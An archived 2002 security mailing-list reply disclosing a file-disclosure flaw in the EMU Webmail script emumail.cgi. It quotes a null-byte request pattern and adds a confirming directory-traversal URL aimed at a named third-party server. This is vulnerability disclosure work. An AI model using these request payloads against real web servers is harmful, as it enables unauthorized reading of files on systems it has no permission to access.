Re: emumail.cgi

[Tom Micklovitch <h_bugtraq () yahoo com>]

--- acidneo () altern org wrote:
> name            : emumail.cgi
> date            : 04/04/2002
> description     : EMU Webmail: how to check
> your email
> from the web. 
> severity        : Low/average-risk
> homepage        : www.emumail.com
>
> Any user can view files on the remote system:
> xxx/PATH/emumail.cgi?type=FILE%00
>
>
>
> The vendor were contact about that

confirmed on nph-emumail.cgi
(see http://q1.quik.com/quikmail/nph-emumail.cgi?type=../%00)

=====
-----BEGIN GEEK CODE BLOCK-----
  Version: 3.1 www.geekcode.com
GIT d--(---) s-:-- a-- C++++ UL@ P--- L++>+++ E---(-) W+++(-)$ N-(--) o-- K++ w(+)(-) O? !M ?V(-) PS+++@ PE-- Y+ PGP++ 
t+ 5-(++) X(+) R tv(--) b+>+++ DI++ D- (Quake+++) G+>++ e* h r++>+++ y+(+++)
-----END GEEK CODE BLOCK-----

__________________________________________________
Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax
http://taxes.yahoo.com/